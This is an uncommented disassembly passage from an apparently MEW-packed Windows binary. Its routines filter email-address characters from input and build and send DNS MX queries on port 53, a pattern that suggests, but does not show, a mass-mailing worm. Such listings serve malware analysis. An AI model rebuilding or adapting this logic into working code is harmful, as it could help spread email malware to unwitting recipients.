loc_4A5282: ; CODE XREF: sub_4A5012+25Ej jmp loc_4A51BF ; --------------------------------------------------------------------------- loc_4A5287: ; CODE XREF: sub_4A5012+1FCj ; sub_4A5012+217j mov [ebp+var_8], 0 loc_4A528E: ; CODE XREF: sub_4A5012+344j mov ecx, [ebp+var_1E8] push ecx call dword_4A10EC add esp, 4 mov [ebp+var_1E0], eax cmp [ebp+var_1E0], 0FFFFFFFFh jz loc_4A535B mov [ebp+var_4], 0 cmp [ebp+var_1E0], 61h jl short loc_4A52D1 cmp [ebp+var_1E0], 7Ah jg short loc_4A52D1 mov [ebp+var_4], 1 loc_4A52D1: ; CODE XREF: sub_4A5012+2ADj ; sub_4A5012+2B6j cmp [ebp+var_1E0], 41h jl short loc_4A52EA cmp [ebp+var_1E0], 5Ah jg short loc_4A52EA mov [ebp+var_4], 1 loc_4A52EA: ; CODE XREF: sub_4A5012+2C6j ; sub_4A5012+2CFj cmp [ebp+var_1E0], 30h jl short loc_4A5303 cmp [ebp+var_1E0], 39h jg short loc_4A5303 mov [ebp+var_4], 1 loc_4A5303: ; CODE XREF: sub_4A5012+2DFj ; sub_4A5012+2E8j cmp [ebp+var_1E0], 5Fh jz short loc_4A5315 cmp [ebp+var_1E0], 2Dh jnz short loc_4A531C loc_4A5315: ; CODE XREF: sub_4A5012+2F8j mov [ebp+var_4], 1 loc_4A531C: ; CODE XREF: sub_4A5012+301j cmp [ebp+var_1E0], 40h jz short loc_4A532E cmp [ebp+var_1E0], 2Eh jnz short loc_4A5335 loc_4A532E: ; CODE XREF: sub_4A5012+311j mov [ebp+var_4], 1 loc_4A5335: ; CODE XREF: sub_4A5012+31Aj cmp [ebp+var_4], 0 jnz short loc_4A533D jmp short loc_4A535B ; --------------------------------------------------------------------------- loc_4A533D: ; CODE XREF: sub_4A5012+327j mov edx, [ebp+var_8] mov al, byte ptr [ebp+var_1E0] mov [ebp+edx+var_1DC], al mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx jmp loc_4A528E ; --------------------------------------------------------------------------- loc_4A535B: ; CODE XREF: sub_4A5012+299j ; sub_4A5012+329j mov edx, [ebp+var_8] mov [ebp+edx+var_1DC], 0 lea eax, [ebp+var_1DC] push eax call sub_4A432B add esp, 4 loc_4A5375: ; CODE XREF: sub_4A5012+138j jmp loc_4A5111 ; --------------------------------------------------------------------------- loc_4A537A: ; CODE XREF: sub_4A5012+11Cj ; sub_4A5012+12Bj mov ecx, [ebp+var_1E8] push ecx call dword_4A10A0 add esp, 4 xor eax, eax loc_4A538C: ; CODE XREF: sub_4A5012+76j ; sub_4A5012+F3j mov esp, ebp pop ebp retn sub_4A5012 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4A5390 proc near ; DATA XREF: MEW:004A32B2o push ebp mov ebp, esp loc_4A5393: ; CODE XREF: sub_4A5390+41j call sub_4A4F60 push 0BB8h call dword_4A1084 loc_4A53A3: ; CODE XREF: sub_4A5390+2Fj push 0 push offset byte_4A8EB8 call dword_4A1134 test eax, eax jnz short loc_4A53C1 push 4E20h call dword_4A1084 jmp short loc_4A53A3 ; --------------------------------------------------------------------------- loc_4A53C1: ; CODE XREF: sub_4A5390+22j call sub_4A5012 push 0A4CB80h call dword_4A1084 jmp short loc_4A5393 sub_4A5390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A53E0 proc near ; CODE XREF: sub_4A5429+8p ; sub_4A5B18+4CCp arg_0 = dword ptr 8 push ebp mov ebp, esp xor eax, eax mov al, byte_4A96A8 and eax, 1 test eax, eax jnz short loc_4A5411 mov cl, byte_4A96A8 or cl, 1 mov byte_4A96A8, cl call dword_4A1040 and eax, 0FFFFh mov word_4A8FC8, ax loc_4A5411: ; CODE XREF: sub_4A53E0+Fj xor edx, edx mov dx, word_4A8FC8 mov eax, edx mov ecx, [ebp+arg_0] and ecx, 0FFFFh add eax, ecx pop ebp retn sub_4A53E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A5429 proc near ; CODE XREF: sub_4A5B18+180p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = word ptr -0Ch var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push 0 call sub_4A53E0 add esp, 4 push eax call dword_4A113C mov [ebp+var_10], ax mov [ebp+var_E], 0 mov [ebp+var_C], 100h mov [ebp+var_A], 0 mov [ebp+var_8], 0 mov [ebp+var_6], 0 push 113h push 0 push offset dword_4A8FD4 call sub_4A890A add esp, 0Ch push 0Ch lea eax, [ebp+var_10] push eax push offset dword_4A8FD4 call sub_4A891C add esp, 0Ch mov [ebp+var_1C], 0 mov [ebp+var_4], 0 mov ecx, [ebp+arg_0] push ecx call sub_4A8910 add esp, 4 add eax, 1 mov [ebp+var_14], eax mov edx, [ebp+var_14] add edx, 11h mov [ebp+var_18], edx cmp [ebp+arg_4], 0 jz short loc_4A54C2 mov eax, [ebp+arg_4] mov cx, word ptr [ebp+var_18] mov [eax], cx loc_4A54C2: ; CODE XREF: sub_4A5429+8Dj mov [ebp+var_1C], 0 jmp short loc_4A54D4 ; --------------------------------------------------------------------------- loc_4A54CB: ; CODE XREF: sub_4A5429:loc_4A5550j mov edx, [ebp+var_1C] add edx, 1 mov [ebp+var_1C], edx loc_4A54D4: ; CODE XREF: sub_4A5429+A0j mov eax, [ebp+var_1C] cmp eax, [ebp+var_14] jg short loc_4A5555 mov ecx, [ebp+var_1C] cmp ecx, [ebp+var_14] jnz short loc_4A5517 mov edx, [ebp+var_1C] sub edx, [ebp+var_4] sub edx, 1 mov eax, [ebp+var_4] mov byte_4A8FE0[eax], dl mov [ebp+var_20], 1000F00h push 4 lea ecx, [ebp+var_20] push ecx mov edx, [ebp+var_1C] add edx, offset byte_4A8FE1 push edx call sub_4A891C add esp, 0Ch jmp short loc_4A5550 ; --------------------------------------------------------------------------- loc_4A5517: ; CODE XREF: sub_4A5429+B9j mov eax, [ebp+arg_0] add eax, [ebp+var_1C] movsx ecx, byte ptr [eax] cmp ecx, 2Eh jnz short loc_4A553F mov edx, [ebp+var_1C] sub edx, [ebp+var_4] mov eax, [ebp+var_4] mov byte_4A8FE0[eax], dl mov ecx, [ebp+var_1C] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_4A5550 ; --------------------------------------------------------------------------- loc_4A553F: ; CODE XREF: sub_4A5429+FAj mov edx, [ebp+arg_0] add edx, [ebp+var_1C] mov eax, [ebp+var_1C] mov cl, [edx] mov byte_4A8FE1[eax], cl loc_4A5550: ; CODE XREF: sub_4A5429+ECj ; sub_4A5429+114j jmp loc_4A54CB ; --------------------------------------------------------------------------- loc_4A5555: ; CODE XREF: sub_4A5429+B1j mov eax, offset dword_4A8FD4 mov esp, ebp pop ebp retn sub_4A5429 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A555E proc near ; CODE XREF: sub_4A555E+F2p ; sub_4A56AB+39p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_0], 0 jnz short loc_4A5571 xor eax, eax jmp loc_4A56A7 ; --------------------------------------------------------------------------- loc_4A5571: ; CODE XREF: sub_4A555E+Aj mov word ptr [ebp+var_8], 0 mov [ebp+var_C], 0 mov byte ptr [ebp+var_4], 0 mov eax, [ebp+arg_4] mov [ebp+var_C], eax jmp short loc_4A5593 ; --------------------------------------------------------------------------- loc_4A558A: ; CODE XREF: sub_4A555E:loc_4A568Dj mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_4A5593: ; CODE XREF: sub_4A555E+2Aj mov edx, [ebp+arg_0] add edx, [ebp+var_C] movsx eax, byte ptr [edx] test eax, eax jz loc_4A5692 mov ecx, [ebp+var_C] sub ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+var_10], ecx mov edx, [ebp+var_4] and edx, 0FFh test edx, edx jnz loc_4A5675 mov eax, [ebp+arg_0] add eax, [ebp+var_C] mov cl, [eax] mov byte ptr [ebp+var_4], cl cmp [ebp+var_10], 0FFFFFFFFh jz short loc_4A55DB mov edx, [ebp+arg_8] add edx, [ebp+var_10] mov byte ptr [edx], 2Eh loc_4A55DB: ; CODE XREF: sub_4A555E+72j mov eax, [ebp+var_4] and eax, 0FFh and eax, 0C0h test eax, eax jz loc_4A5673 mov ecx, [ebp+var_4] and ecx, 0FFh and ecx, 3Fh mov byte ptr [ebp+var_4], cl movzx dx, byte ptr [ebp+var_4] mov word ptr [ebp+var_8], dx mov ax, word ptr [ebp+var_8] shl ax, 8 mov word ptr [ebp+var_8], ax mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, [ebp+var_C] mov al, [edx] mov byte ptr [ebp+var_4], al movzx cx, byte ptr [ebp+var_4] mov dx, word ptr [ebp+var_8] or dx, cx mov word ptr [ebp+var_8], dx mov eax, [ebp+var_10] mov ecx, [ebp+arg_8] lea edx, [ecx+eax+1] push edx mov eax, [ebp+var_8] and eax, 0FFFFh push eax mov ecx, [ebp+arg_0] push ecx call sub_4A555E add esp, 0Ch test eax, eax jz short loc_4A5667 mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_14], edx jmp short loc_4A566E ; --------------------------------------------------------------------------- loc_4A5667: ; CODE XREF: sub_4A555E+FCj mov [ebp+var_14], 0 loc_4A566E: ; CODE XREF: sub_4A555E+107j mov eax, [ebp+var_14] jmp short loc_4A56A7 ; --------------------------------------------------------------------------- loc_4A5673: ; CODE XREF: sub_4A555E+8Cj jmp short loc_4A568D ; --------------------------------------------------------------------------- loc_4A5675: ; CODE XREF: sub_4A555E+5Dj mov eax, [ebp+arg_8] add eax, [ebp+var_10] mov ecx, [ebp+arg_0] add ecx, [ebp+var_C] mov dl, [ecx] mov [eax], dl mov al, byte ptr [ebp+var_4] sub al, 1 mov byte ptr [ebp+var_4], al loc_4A568D: ; CODE XREF: sub_4A555E:loc_4A5673j jmp loc_4A558A ; --------------------------------------------------------------------------- loc_4A5692: ; CODE XREF: sub_4A555E+40j mov ecx, [ebp+arg_8] add ecx, [ebp+var_C] mov byte ptr [ecx], 0 mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx mov eax, [ebp+var_C] loc_4A56A7: ; CODE XREF: sub_4A555E+Ej ; sub_4A555E+113j mov esp, ebp pop ebp retn sub_4A555E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A56AB proc near ; CODE XREF: sub_4A5915+13p var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_107 = byte ptr -107h var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10Ch push edi mov [ebp+var_108], 0 mov ecx, 40h xor eax, eax lea edi, [ebp+var_107] rep stosd stosw stosb mov [ebp+var_4], 0Ch lea eax, [ebp+var_108] push eax mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4A555E add esp, 0Ch mov [ebp+var_10C], eax cmp [ebp+var_10C], 0 jz short loc_4A5753 mov eax, [ebp+arg_0] add eax, [ebp+var_10C] mov cx, [eax] push ecx call dword_4A113C mov [ebp+var_8], ax mov edx, [ebp+arg_0] add edx, [ebp+var_10C] mov ax, [edx+2] push eax call dword_4A113C mov [ebp+var_6], ax cmp [ebp+arg_4], 0 jz short loc_4A5748 push 104h lea ecx, [ebp+var_108] push ecx mov edx, [ebp+arg_4] push edx call sub_4A891C add esp, 0Ch loc_4A5748: ; CODE XREF: sub_4A56AB+83j mov eax, [ebp+var_10C] add eax, 4 jmp short loc_4A5755 ; --------------------------------------------------------------------------- loc_4A5753: ; CODE XREF: sub_4A56AB+4Ej xor eax, eax loc_4A5755: ; CODE XREF: sub_4A56AB+A6j pop edi mov esp, ebp pop ebp retn sub_4A56AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A575A proc near ; CODE XREF: sub_4A5915+7Cp var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = byte ptr -210h var_20F = byte ptr -20Fh var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = word ptr -104h var_102 = byte ptr -102h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 21Ch push edi mov [ebp+var_210], 0 mov ecx, 83h xor eax, eax lea edi, [ebp+var_20F] rep stosd stosw stosb mov [ebp+var_214], 0 mov [ebp+var_218], 0 lea eax, [ebp+var_210] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4A555E add esp, 0Ch mov [ebp+var_214], eax cmp [ebp+var_214], 0 jz loc_4A590A push 0Ah mov eax, [ebp+arg_0] add eax, [ebp+var_214] push eax lea ecx, [ebp+var_110] push ecx call sub_4A891C add esp, 0Ch mov edx, [ebp+var_10C] push edx call dword_4A1164 mov [ebp+var_10C], eax mov ax, word ptr [ebp+var_110+2] push eax call dword_4A113C mov word ptr [ebp+var_110+2], ax mov cx, word ptr [ebp+var_108] push ecx call dword_4A113C mov word ptr [ebp+var_108], ax mov dx, word ptr [ebp+var_110] push edx call dword_4A113C mov word ptr [ebp+var_110], ax mov eax, [ebp+var_214] add eax, 0Ah mov [ebp+var_214], eax mov ecx, [ebp+var_108] and ecx, 0FFFFh mov edx, [ebp+var_214] add edx, ecx mov [ebp+var_218], edx mov eax, [ebp+var_110] and eax, 0FFFFh mov [ebp+var_21C], eax cmp [ebp+var_21C], 2 jz short loc_4A5876 cmp [ebp+var_21C], 0Fh jz short loc_4A5898 jmp short loc_4A58E3 ; --------------------------------------------------------------------------- loc_4A5876: ; CODE XREF: sub_4A575A+10Fj lea ecx, [ebp+var_102] push ecx mov edx, [ebp+var_214] push edx mov eax, [ebp+arg_0] push eax call sub_4A555E add esp, 0Ch mov [ebp+var_218], eax jmp short loc_4A58E3 ; --------------------------------------------------------------------------- loc_4A5898: ; CODE XREF: sub_4A575A+118j mov ecx, [ebp+arg_0] add ecx, [ebp+var_214] mov dx, [ecx] mov [ebp+var_104], dx mov ax, [ebp+var_104] push eax call dword_4A113C mov [ebp+var_104], ax lea ecx, [ebp+var_102] push ecx mov edx, [ebp+var_214] add edx, 2 push edx mov eax, [ebp+arg_0] push eax call sub_4A555E add esp, 0Ch mov [ebp+var_218], eax loc_4A58E3: ; CODE XREF: sub_4A575A+11Aj ; sub_4A575A+13Cj cmp [ebp+arg_8], 0 jz short loc_4A590A cmp [ebp+var_214], 0 jz short loc_4A590A push 20Ah lea ecx, [ebp+var_210] push ecx mov edx, [ebp+arg_8] push edx call sub_4A891C add esp, 0Ch loc_4A590A: ; CODE XREF: sub_4A575A+5Bj ; sub_4A575A+18Dj ... mov eax, [ebp+var_218] pop edi mov esp, ebp pop ebp retn sub_4A575A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A5915 proc near ; CODE XREF: sub_4A5B18+504p ; sub_4A5B18+559p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h mov [ebp+var_8], 0 push 0 mov eax, [ebp+arg_0] push eax call sub_4A56AB add esp, 8 mov [ebp+var_4], eax cmp [ebp+arg_0], 0 jnz short loc_4A5940 xor eax, eax jmp loc_4A59D1 ; --------------------------------------------------------------------------- loc_4A5940: ; CODE XREF: sub_4A5915+22j mov ecx, [ebp+arg_4] imul ecx, 210h push ecx call sub_4A8928 add esp, 4 mov [ebp+var_14], eax mov edx, [ebp+var_14] mov [ebp+var_8], edx cmp [ebp+var_8], 0 jnz short loc_4A5965 xor eax, eax jmp short loc_4A59D1 ; --------------------------------------------------------------------------- loc_4A5965: ; CODE XREF: sub_4A5915+4Aj mov eax, [ebp+var_8] mov [ebp+var_10], eax mov [ebp+var_C], 0 jmp short loc_4A597D ; --------------------------------------------------------------------------- loc_4A5974: ; CODE XREF: sub_4A5915+B7j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_4A597D: ; CODE XREF: sub_4A5915+5Dj mov edx, [ebp+var_C] cmp edx, [ebp+arg_4] jge short loc_4A59CE mov eax, [ebp+var_10] push eax mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4A575A add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4A59B8 mov eax, [ebp+var_8] mov [ebp+var_18], eax mov ecx, [ebp+var_18] push ecx call sub_4A8922 add esp, 4 xor eax, eax jmp short loc_4A59D1 ; --------------------------------------------------------------------------- loc_4A59B8: ; CODE XREF: sub_4A5915+8Bj mov edx, [ebp+var_C] add edx, 1 imul edx, 210h mov eax, [ebp+var_8] add eax, edx mov [ebp+var_10], eax jmp short loc_4A5974 ; --------------------------------------------------------------------------- loc_4A59CE: ; CODE XREF: sub_4A5915+6Ej mov eax, [ebp+var_8] loc_4A59D1: ; CODE XREF: sub_4A5915+26j ; sub_4A5915+4Ej ... mov esp, ebp pop ebp retn sub_4A5915 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A59D5 proc near ; CODE XREF: sub_4A5B18+62Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] push eax call dword_4A114C mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4A59FD mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] mov eax, [edx] mov ecx, [eax] mov [ebp+var_8], ecx jmp short loc_4A5A04 ; --------------------------------------------------------------------------- loc_4A59FD: ; CODE XREF: sub_4A59D5+17j mov [ebp+var_8], 0 loc_4A5A04: ; CODE XREF: sub_4A59D5+26j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_4A59D5 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx cmp dword ptr [ebp+8], 0 jnz short loc_4A5A19 xor al, al jmp short loc_4A5A86 ; --------------------------------------------------------------------------- loc_4A5A19: ; CODE XREF: MEW:004A5A13j mov eax, [ebp+8] push eax call sub_4A8910 add esp, 4 cmp eax, 0Fh jbe short loc_4A5A2E xor al, al jmp short loc_4A5A86 ; --------------------------------------------------------------------------- loc_4A5A2E: ; CODE XREF: MEW:004A5A28j mov dword ptr [ebp-4], 0 jmp short loc_4A5A40 ; --------------------------------------------------------------------------- loc_4A5A37: ; CODE XREF: MEW:004A5A68j ; MEW:loc_4A5A82j mov ecx, [ebp+8] add ecx, 1 mov [ebp+8], ecx loc_4A5A40: ; CODE XREF: MEW:004A5A35j cmp dword ptr [ebp-4], 3 jg short loc_4A5A84 mov edx, [ebp+8] movsx eax, byte ptr [edx] test eax, eax jnz short loc_4A5A54 mov al, 1 jmp short loc_4A5A86 ; --------------------------------------------------------------------------- loc_4A5A54: ; CODE XREF: MEW:004A5A4Ej mov ecx, [ebp+8] movsx edx, byte ptr [ecx] cmp edx, 2Eh jnz short loc_4A5A6A mov eax, [ebp-4] add eax, 1 mov [ebp-4], eax jmp short loc_4A5A37 ; --------------------------------------------------------------------------- loc_4A5A6A: ; CODE XREF: MEW:004A5A5Dj mov ecx, [ebp+8] movsx edx, byte ptr [ecx] push edx call dword_4A10D8 add esp, 4 test eax, eax jnz short loc_4A5A82 xor al, al jmp short loc_4A5A86 ; --------------------------------------------------------------------------- loc_4A5A82: ; CODE XREF: MEW:004A5A7Cj jmp short loc_4A5A37 ; --------------------------------------------------------------------------- loc_4A5A84: ; CODE XREF: MEW:004A5A44j xor al, al loc_4A5A86: ; CODE XREF: MEW:004A5A17j ; MEW:004A5A2Cj ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp loc_4A5A8D: ; CODE XREF: MEW:004A5AB6j mov eax, [ebp+8] movsx ecx, byte ptr [eax] push ecx call dword_4A10D8 add esp, 4 test eax, eax jnz short loc_4A5AA5 xor al, al jmp short loc_4A5ABA ; --------------------------------------------------------------------------- loc_4A5AA5: ; CODE XREF: MEW:004A5A9Fj mov edx, [ebp+8] add edx, 1 mov [ebp+8], edx mov eax, [ebp+8] movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_4A5A8D mov al, 1 loc_4A5ABA: ; CODE XREF: MEW:004A5AA3j pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A5ABC proc near ; CODE XREF: sub_4A5B18+333p ; sub_4A5B18+3D9p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx call dword_4A1154 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4A5ADD mov eax, [ebp+arg_0] push eax call dword_4A1038 mov al, 1 jmp short loc_4A5B14 ; --------------------------------------------------------------------------- loc_4A5ADD: ; CODE XREF: sub_4A5ABC+11j cmp [ebp+var_4], 2733h jnz short loc_4A5B12 mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call dword_4A103C test eax, eax jz short loc_4A5AFC xor al, al jmp short loc_4A5B14 ; --------------------------------------------------------------------------- loc_4A5AFC: ; CODE XREF: sub_4A5ABC+3Aj mov eax, [ebp+arg_0] push eax call dword_4A1038 test eax, eax jnz short loc_4A5B0E xor al, al jmp short loc_4A5B14 ; --------------------------------------------------------------------------- loc_4A5B0E: ; CODE XREF: sub_4A5ABC+4Cj mov al, 1 jmp short loc_4A5B14 ; --------------------------------------------------------------------------- loc_4A5B12: ; CODE XREF: sub_4A5ABC+28j xor al, al loc_4A5B14: ; CODE XREF: sub_4A5ABC+1Fj ; sub_4A5ABC+3Ej ... mov esp, ebp pop ebp retn sub_4A5ABC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A5B18 proc near ; CODE XREF: sub_4A5B18+654p ; sub_4A6B78+94p var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = dword ptr -160h var_15C = byte ptr -15Ch var_158 = dword ptr -158h var_154 = dword ptr -154h var_14E = dword ptr -14Eh var_14A = word ptr -14Ah var_148 = dword ptr -148h var_144 = dword ptr -144h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_134 = word ptr -134h var_132 = dword ptr -132h var_12E = dword ptr -12Eh var_12A = dword ptr -12Ah var_126 = word ptr -126h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = byte ptr -11Ch var_11B = byte ptr -11Bh var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = word ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 170h push esi push edi mov byte ptr [ebp+var_18], 0 mov [ebp+var_13C], 0 xor eax, eax mov [ebp+var_138], eax mov byte ptr [ebp+var_18], 1 mov dword_4A90E8, 0 mov ecx, [ebp+var_18] and ecx, 0FFh test ecx, ecx jnz loc_4A5BE0 mov [ebp+var_158], 0 jmp short loc_4A5B73 ; --------------------------------------------------------------------------- loc_4A5B64: ; CODE XREF: sub_4A5B18:loc_4A5BA4j mov edx, [ebp+var_158] add edx, 1 mov [ebp+var_158], edx loc_4A5B73: ; CODE XREF: sub_4A5B18+4Aj mov eax, [ebp+var_158] cmp eax, dword_4A90E8 jnb short loc_4A5BA6 mov ecx, [ebp+var_158] mov edx, [ebp+arg_4] cmp edx, dword_4A9380[ecx*4] jnz short loc_4A5BA4 mov eax, [ebp+var_13C] mov edx, [ebp+var_138] jmp loc_4A620D ; --------------------------------------------------------------------------- loc_4A5BA4: ; CODE XREF: sub_4A5B18+79j jmp short loc_4A5B64 ; --------------------------------------------------------------------------- loc_4A5BA6: ; CODE XREF: sub_4A5B18+67j cmp dword_4A90E8, 0C7h jb short loc_4A5BC3 mov eax, [ebp+var_13C] mov edx, [ebp+var_138] jmp loc_4A620D ; --------------------------------------------------------------------------- loc_4A5BC3: ; CODE XREF: sub_4A5B18+98j mov eax, dword_4A90E8 add eax, 1 mov dword_4A90E8, eax mov ecx, dword_4A90E8 mov edx, [ebp+arg_4] mov dword_4A9380[ecx*4], edx loc_4A5BE0: ; CODE XREF: sub_4A5B18+3Aj mov [ebp+var_124], 0 mov [ebp+var_148], 0 mov [ebp+var_134], 0 xor eax, eax mov [ebp+var_132], eax mov [ebp+var_12E], eax mov [ebp+var_12A], eax mov [ebp+var_126], ax mov [ebp+var_8], 0FFFFFFFFh mov [ebp+var_4], 0 mov word ptr [ebp+var_154], 0 xor ecx, ecx mov [ebp+var_154+2], ecx mov [ebp+var_14E], ecx mov [ebp+var_14A], cx mov [ebp+var_11C], 0 mov ecx, 40h xor eax, eax lea edi, [ebp+var_11B] rep stosd stosw stosb mov [ebp+var_10], 0 mov [ebp+var_14], 0 mov [ebp+var_120], 0 mov word ptr [ebp+var_140], 0 mov word ptr [ebp+var_144], 0 mov [ebp+var_C], 0 lea edx, [ebp+var_140] push edx mov eax, [ebp+arg_0] push eax call sub_4A5429 add esp, 8 mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4A5CAE jmp loc_4A620B ; --------------------------------------------------------------------------- loc_4A5CAE: ; CODE XREF: sub_4A5B18+18Fj mov cx, word ptr [ebp+var_140] push ecx call dword_4A113C mov [ebp+var_C], ax mov edx, [ebp+arg_4] mov [ebp+var_132+2], edx mov [ebp+var_134], 2 push 35h call dword_4A113C mov word ptr [ebp+var_132], ax push 0 push 1 push 2 call dword_4A1144 mov [ebp+var_8], eax cmp [ebp+var_8], 0FFFFFFFFh jnz short loc_4A5CFB jmp loc_4A6209 ; --------------------------------------------------------------------------- loc_4A5CFB: ; CODE XREF: sub_4A5B18+1DCj push 0 push 0 push 1 push 0 call dword_4A1030 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_4A5D17 jmp loc_4A6207 ; --------------------------------------------------------------------------- loc_4A5D17: ; CODE XREF: sub_4A5B18+1F8j push 10h mov eax, [ebp+var_10] push eax mov ecx, [ebp+var_8] push ecx call dword_4A116C cmp eax, 0FFFFFFFFh jnz short loc_4A5D31 jmp loc_4A6205 ; --------------------------------------------------------------------------- loc_4A5D31: ; CODE XREF: sub_4A5B18+212j push 10h lea edx, [ebp+var_134] push edx mov eax, [ebp+var_8] push eax call dword_4A1168 mov [ebp+var_124], eax cmp [ebp+var_124], 0FFFFFFFFh jnz short loc_4A5D65 call dword_4A1154 cmp eax, 2733h jz short loc_4A5D65 jmp loc_4A6203 ; --------------------------------------------------------------------------- loc_4A5D65: ; CODE XREF: sub_4A5B18+239j ; sub_4A5B18+246j mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+var_10] push edx call dword_4A103C test eax, eax jz short loc_4A5D7C jmp loc_4A6201 ; --------------------------------------------------------------------------- loc_4A5D7C: ; CODE XREF: sub_4A5B18+25Dj push 0 mov eax, [ebp+var_10] push eax mov ecx, [ebp+var_8] push ecx call dword_4A116C cmp eax, 0FFFFFFFFh jz short loc_4A5DA9 lea edx, [ebp+var_4] push edx push 8004667Eh mov eax, [ebp+var_8] push eax call dword_4A1160 cmp eax, 0FFFFFFFFh jnz short loc_4A5DAE loc_4A5DA9: ; CODE XREF: sub_4A5B18+277j jmp loc_4A61FF ; --------------------------------------------------------------------------- loc_4A5DAE: ; CODE XREF: sub_4A5B18+28Fj mov ecx, [ebp+var_10] push ecx call dword_4A1038 test eax, eax jnz short loc_4A5DC1 jmp loc_4A61FD ; --------------------------------------------------------------------------- loc_4A5DC1: ; CODE XREF: sub_4A5B18+2A2j push 0 push 2 lea edx, [ebp+var_C] push edx mov eax, [ebp+var_8] push eax call dword_4A115C cmp eax, 2 jz short loc_4A5DDD jmp loc_4A61FB ; --------------------------------------------------------------------------- loc_4A5DDD: ; CODE XREF: sub_4A5B18+2BEj push 0 mov ecx, [ebp+var_140] and ecx, 0FFFFh push ecx mov edx, [ebp+var_14] push edx mov eax, [ebp+var_8] push eax call dword_4A115C mov ecx, [ebp+var_140] and ecx, 0FFFFh cmp eax, ecx jz short loc_4A5E0F jmp loc_4A61F9 ; --------------------------------------------------------------------------- loc_4A5E0F: ; CODE XREF: sub_4A5B18+2F0j push 1 mov edx, [ebp+var_10] push edx mov eax, [ebp+var_8] push eax call dword_4A116C cmp eax, 0FFFFFFFFh jnz short loc_4A5E29 jmp loc_4A61F7 ; --------------------------------------------------------------------------- loc_4A5E29: ; CODE XREF: sub_4A5B18+30Aj push 0 push 2 lea ecx, [ebp+var_144] push ecx mov edx, [ebp+var_8] push edx call dword_4A1158 cmp eax, 2 jz short loc_4A5E7B mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_10] push ecx call sub_4A5ABC add esp, 8 and eax, 0FFh test eax, eax jz short loc_4A5E7B push 0 push 2 lea edx, [ebp+var_144] push edx mov eax, [ebp+var_8] push eax call dword_4A1158 cmp eax, 2 jz short loc_4A5E7B jmp loc_4A61F5 ; 